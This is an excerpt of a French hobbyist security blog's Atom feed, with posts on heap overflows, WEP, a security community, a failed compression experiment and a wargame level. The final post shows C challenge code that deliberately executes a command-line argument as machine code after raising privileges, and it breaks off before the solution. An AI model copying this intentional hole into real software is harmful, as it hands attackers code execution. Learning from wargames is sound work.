/&gt;&lt;a href="http://www.phrack.org/issues.html?issue=66&amp;amp;id=6"&gt;http://www.phrack.org/issues.html?issue=66&amp;amp;id=6&lt;/a&gt; Si vous avez du courage, et que, comme moi vous vous&lt;br /&gt;intéressez un temps soit peu à la sécurité ça devrait passer ! ;)&lt;br /&gt;Je m'arrête donc ici pour mes recherches sur les Heap-based buffer overflow, surtout qu'au départ je voulais juste comprendre les grandes lignes ^^ et voila j'ai encore merdé !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-8986800476005396942?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/8986800476005396942/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/02/un-article-venir-sur-les-heap-overflow.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/8986800476005396942'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/8986800476005396942'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/02/un-article-venir-sur-les-heap-overflow.html' title='Les Heap Overflow'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-6304260241758905082</id><published>2011-01-28T07:42:00.000-08:00</published><updated>2011-01-31T07:16:41.003-08:00</updated><title type='text'>Message aux fournisseurs d'accès</title><content type='html'>SVP arrêtez d'utiliser le chiffrement WEP dans la configuration par défaut des Box...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-6304260241758905082?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/6304260241758905082/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/messages-aux-fournisseurs-dacces.html#comment-form' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/6304260241758905082'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/6304260241758905082'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/messages-aux-fournisseurs-dacces.html' title='Message aux fournisseurs d&apos;accès'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-6971338772981874372</id><published>2011-01-24T01:43:00.000-08:00</published><updated>2011-01-24T01:43:11.820-08:00</updated><title type='text'>Zenk Security</title><content type='html'>Un petit billet concernant une communauté que j'affectionne particulièrement même si ces derniers temps je n'ai pas eu l'occasion d'y passer souvent !&lt;br /&gt;Le principe est simple :&lt;br /&gt;Le partage, la collaboration, l'entraide sous fond de sécurité informatique Pleins de tuto à dispositions, bonne ambiance, membres sympathiques... Ouille je fais de la lèche :p&lt;br /&gt;Pour en faire parti il faut valider un certain nombre de points aux challenges proposés ==&amp;gt; &lt;a href="http://www.zenk-security.com/"&gt;ici&lt;/a&gt;&lt;br /&gt;Pour le moment il en faut 8 c'est pas la mer à boire, c'est juste pour prouver que vous n'arrivez pas les mains vides et que vous avez un minimum de culture générale. Passé cette étape une présentation vous est demandé sur le forum pour être accepté par les membres.&lt;br /&gt;Sinon vous pouvez aussi passer par leur IRC pour leur faire coucou !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-6971338772981874372?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/6971338772981874372/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/zenk-security.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/6971338772981874372'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/6971338772981874372'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/zenk-security.html' title='Zenk Security'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-7663033540542740039</id><published>2011-01-21T10:10:00.000-08:00</published><updated>2011-01-21T10:13:52.910-08:00</updated><title type='text'>Luc's Compressor EPIC FAIL</title><content type='html'>Donc, maintenant j'ai bien la preuve de l'inefficacité de la méthode "Run-length Encoding" pour compresser des données autre que images noires et blanches...&lt;br /&gt;En effet : Prenons un film de 500 mégas. Tout d'abords il me faut décomposer chaque bytes contenus dans le fichier en base 2 pour pouvoir faire un traitement sur chaque 1 et 0 trouvés .&lt;br /&gt;Donc je vous laisse imaginer le temps d'une telle opération sur les gros fichiers comme ça...&lt;br /&gt;Forcément; en faisant cette méthode je "déplie" les données. Il ne me reste plus qu'à les stocker en mémoire vive (là je ne pense pas que ça soit faisable d'intégrer 1 giga en ram ^^ )&lt;br /&gt;Donc je stock ce fichier temporaire vachement plus gros que l'original quelque part. :/&lt;br /&gt;&lt;br /&gt;Ça, c'est le premier échec de la méthode run-length Encoding. Ensuite vient le temps où il faut compresser le fichier temporaire plein de 0 et de 1.&lt;br /&gt;Petit problème :&lt;br /&gt;-Le codage : 11001100 = 2D2F2D2F peut devenir génant....&lt;br /&gt;-Si j'ai : 10101010 = 1D1F1D1F1D1F Je ne gagne pas de place...Au contraire j'en perd un peu plus.&lt;br /&gt;Répétez ça 5 milliards de fois et vous pourrissez votre espace de stockage...&lt;br /&gt;Même en utilisant un séparateur plus petit pour les 0 il est impossible de déterminer si oui ou non le fichier aura plus de 1 que de 0... Sans compter la création d'une archive parasite qui est plus grosse que le fichier original.&lt;br /&gt;&lt;br /&gt;Au moins...Maintenant que j'ai la preuve par A+B que Run-Length Encoding ne fonctionne que sur des fichiers images simple. Ben... Je suis plus convaincu :) .&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-7663033540542740039?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/7663033540542740039/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/lucs-compressor-epic-fail.html#comment-form' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/7663033540542740039'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/7663033540542740039'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/lucs-compressor-epic-fail.html' title='Luc&apos;s Compressor EPIC FAIL'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-4026544140277486909</id><published>2011-01-21T02:04:00.000-08:00</published><updated>2011-01-21T02:04:32.843-08:00</updated><title type='text'>Luc's Compressor Bytes Optimise</title><content type='html'>Un petit billet de mon boulot.&lt;br /&gt;Il va me falloir optimiser l'algorithme. Décomposer chaques bytes en base 2, trouver des flags appropriés&lt;br /&gt;C'est pas fini mais pour un trip je dois reconnaitre que ça va chercher loin :).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-4026544140277486909?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/4026544140277486909/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/lucs-compressor-bytes-optimise.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/4026544140277486909'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/4026544140277486909'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/lucs-compressor-bytes-optimise.html' title='Luc&apos;s Compressor Bytes Optimise'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-1175519927119711838</id><published>2011-01-20T11:59:00.000-08:00</published><updated>2011-01-20T11:59:27.576-08:00</updated><title type='text'>Luc's Compressor Advanced Encoding</title><content type='html'>Ca avance bien ! Non seulement je retrouve un fichier de la taille originale (mais pas encore en service)&lt;br /&gt;après la compression et décompression mais je viens de tester avec un fichier de plus de 500 mégas&lt;br /&gt;pour un résultat approchant les 18 mégas ! Ça c'est du compresseur !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-1175519927119711838?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/1175519927119711838/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/lucs-compressor-advanced-encoding.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/1175519927119711838'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/1175519927119711838'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/lucs-compressor-advanced-encoding.html' title='Luc&apos;s Compressor Advanced Encoding'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-8293413098943393606</id><published>2011-01-17T10:53:00.000-08:00</published><updated>2011-01-18T01:49:51.134-08:00</updated><title type='text'>Luc's Compressor</title><content type='html'>En revenant du taff, y'a eu des bouchons. Oui je vous jure !&lt;br /&gt;Et donc, j'ai profité de ce moment de solitude pour réfléchir sur un moyen à moi de compresser des&lt;br /&gt;gros fichiers. Ne me demandez pas comment j'ai fais pour penser à ça, j'en sais trop rien moi même...&lt;br /&gt;&lt;br /&gt;Bref ! Quoi qu'il en soit, en arrivant je me met au travail avec mes petites idées qui ont germées.&lt;br /&gt;Voila mon idée complétement démente et qui ne sert probablement pas à grand chose !&lt;br /&gt;&lt;br /&gt;Un fichier est une suite de 0 et de 1. Jusque là tout va bien.&lt;br /&gt;L'idée de mon compresseur est extrêmement simple, pour chaque suite de 1 trouvée on incrémente une variable.&lt;br /&gt;donc cette suite :&lt;br /&gt;111111 = 6 tout simplement.&lt;br /&gt;Ensuite, forcément on tombe sur des 0 :&lt;br /&gt;000000=D6F&lt;br /&gt;Ou encore :&lt;br /&gt;0000=D4F&lt;br /&gt;Voila !&lt;br /&gt;&lt;br /&gt;Je me met au travail, et je code vite fais un petit binaire qui me fait ça pour moi.&lt;br /&gt;Je me suis servis comme exemple d'un mp3 :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_sxVWI4EZg0o/TTSPguBtJVI/AAAAAAAAAEA/7YFKKKIalwE/s1600/Sans+titre.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://3.bp.blogspot.com/_sxVWI4EZg0o/TTSPguBtJVI/AAAAAAAAAEA/7YFKKKIalwE/s320/Sans+titre.gif" width="252" /&gt;&lt;/a&gt;&lt;/div&gt;998Ko , ma méthode sort un fichier .luc (eh oui, faut bien être narcissique de temps en temps)&lt;br /&gt;Ce fichier fait : 80.5Ko&lt;br /&gt;Je suis assez content, jusqu'à ce que l'envie me prenne de faire la méthode inverse...&lt;br /&gt;Finalement, petit échec de la journée. Le fichier reconstitué ne fait plus que 147Ko...&lt;br /&gt;Dommage :/ je creuserais un peu plus demain.&lt;br /&gt;&lt;br /&gt;----------------------------------------------------------&lt;br /&gt;EDIT : Merci Mikaël pour l'aide,&lt;br /&gt;&lt;br /&gt;&lt;div class="commentContent UIImageBlock_Content UIImageBlock_SMALL_Content"&gt;&lt;span data-jsid="text"&gt;&lt;div class="text_exposed_root text_exposed" id="id_4d3559b4145235025389233"&gt;"J'avais  déjà réfléchi à une méthode comme celle ci (mais plus du genre  "Conway") y'a très peu de temps (comme quoi ^^). Le souci, c'est que  c'est rentable qu'à partir d'un certain seuil d'invariance. Faudrait'  s'amuser à le déterminer. Ce p&lt;span class="text_exposed_hide"&gt;...&lt;/span&gt;&lt;span class="text_exposed_show"&gt;rincipe  se base sur une constatation simple : si tu utilises un octet (soit 8  bits) pour stocker le nombre de 1 consécutifs à un offset (par exemple),  il faudra au minimum trouver 8 1 consécutifs à cet offset pour que la  compression soit rentable.&lt;br /&gt;&lt;br /&gt;Après, on pourrait optimiser certaines  choses. Par exemple, on coderait le nombre de 0 ou de 1 sur un octet,  seulement ça supposerait qu'on ne trouve jamais plus de 255 1 ou 0  d'affilée, et donc c'est foireux. Enfin, il faudrait réfléchir à une  méthode qui gérerait toutes ces contraintes tout en conservant un seuil  de compression supérieur ou égal à zéro en toutes circonstances. Se  retrouver avec un fichier compressé plus gros que l'original, ce serait  bien pourri ^^.&lt;br /&gt;&lt;br /&gt;Sinon, j'ai chaud la flemme de débugguer du code  C# (&lt;span style="font-size: large;"&gt;&lt;b&gt;C'est vraiment top mais je suis crevé&lt;/b&gt;&lt;/span&gt;). Et pour la petite histoire, je pense que de nombreuses  personnes ont dû penser à ça avant nous. Le truc intéressant, ce serait  au final de savoir pourquoi ce type de compression ne peut pas être  rentable ^^.&lt;/span&gt;&lt;span class="text_exposed_show"&gt;"&lt;/span&gt;&lt;/div&gt;&lt;div class="text_exposed_root text_exposed" id="id_4d3559b4145235025389233"&gt;&lt;span class="text_exposed_show"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="text_exposed_hide"&gt;&lt;span class="text_exposed_link"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="text_exposed_root text_exposed" id="id_4d3559b4145235025389233"&gt;&lt;span class="text_exposed_show"&gt;Il me précise aussi que ce type de compression s'appelle le "&lt;a href="http://fr.wikipedia.org/wiki/Run-length_encoding"&gt;Run-length encoding&lt;/a&gt;"&lt;/span&gt;&lt;/div&gt;&lt;div class="text_exposed_root text_exposed" id="id_4d3559b4145235025389233"&gt;&lt;span class="text_exposed_show"&gt;M'enfin ça ne va pas m'empêcher de continuer ;)&lt;/span&gt;&lt;span class="text_exposed_hide"&gt;&lt;span class="text_exposed_link"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;a href="http://fr.wikipedia.org/wiki/Run-length_encoding" rel="nofollow" target="_blank"&gt;&lt;/a&gt;&lt;/div&gt;&lt;span data-jsid="text"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-8293413098943393606?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/8293413098943393606/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/lucs-compressor.html#comment-form' title='3 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/8293413098943393606'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/8293413098943393606'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/lucs-compressor.html' title='Luc&apos;s Compressor'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_sxVWI4EZg0o/TTSPguBtJVI/AAAAAAAAAEA/7YFKKKIalwE/s72-c/Sans+titre.gif' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-5541387225644574187</id><published>2011-01-17T06:20:00.000-08:00</published><updated>2011-01-17T06:20:30.134-08:00</updated><title type='text'>Nouveau appart, nouvelle vie !</title><content type='html'>Et oui, titre accrocheur pour une news qui l'est un peu moins :)&lt;br /&gt;Je déménage d'ici peu, ce qui veut dire peut être pas de nouvelle connexion avant quelques semaines !&lt;br /&gt;(Sauf si je trouve une clé WEP par-ci par là...) Mais bon ce n'est pas trop dans ma mentalité de faire ça :)&lt;br /&gt;Je sais.. C'est un moment dur pour vous ! Allé ! Courage !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-5541387225644574187?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/5541387225644574187/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/nouveau-appart-nouvelle-vie.html#comment-form' title='4 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/5541387225644574187'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/5541387225644574187'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/nouveau-appart-nouvelle-vie.html' title='Nouveau appart, nouvelle vie !'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-7300639300720726542</id><published>2011-01-13T09:36:00.000-08:00</published><updated>2011-01-13T11:25:28.014-08:00</updated><title type='text'>Lovely Challenge</title><content type='html'>J'ai débuté une nouvelle box de challenge récemment qui est intéressante dans le sens où les épreuves sont assez chiantes :p&lt;br /&gt;Comme exemple cette source :&lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(argc != 2){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit(1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int i;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int o;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for(i=0; argv[1][i]; i++)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(argv[1][i] == '\x68' &amp;amp;&amp;amp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; argv[1][i+1] == '\x2f' &amp;amp;&amp;amp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; argv[1][i+2] == '\x63' &amp;amp;&amp;amp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; argv[1][i+3] == '\x61' &amp;amp;&amp;amp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; argv[1][i+4] == '\x74' &amp;amp;&amp;amp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; argv[1][i+5] == '\x68' &amp;amp;&amp;amp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; argv[1][i+6] == '\x2f' &amp;amp;&amp;amp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; argv[1][i+7] == '\x62' &amp;amp;&amp;amp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; argv[1][i+8] == '\x69' &amp;amp;&amp;amp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; argv[1][i+9] == '\x6e')&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; o = 1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(o != 1){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(stderr,"Illegal Instruction.\n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return 1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(stdout,"OK\n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; setresuid(1004,1004,1004);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (*(void(*)()) argv[1])();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$ whoami&lt;br /&gt;level3&lt;br /&gt;&lt;br /&gt;évidemment, maintenant que je connais la solution ça me parait simple...&lt;br /&gt;Cette boucle for, vérifie que dans ce qu'on va passer en paramètre au binaire il y a une chaine hexadécimal :&lt;br 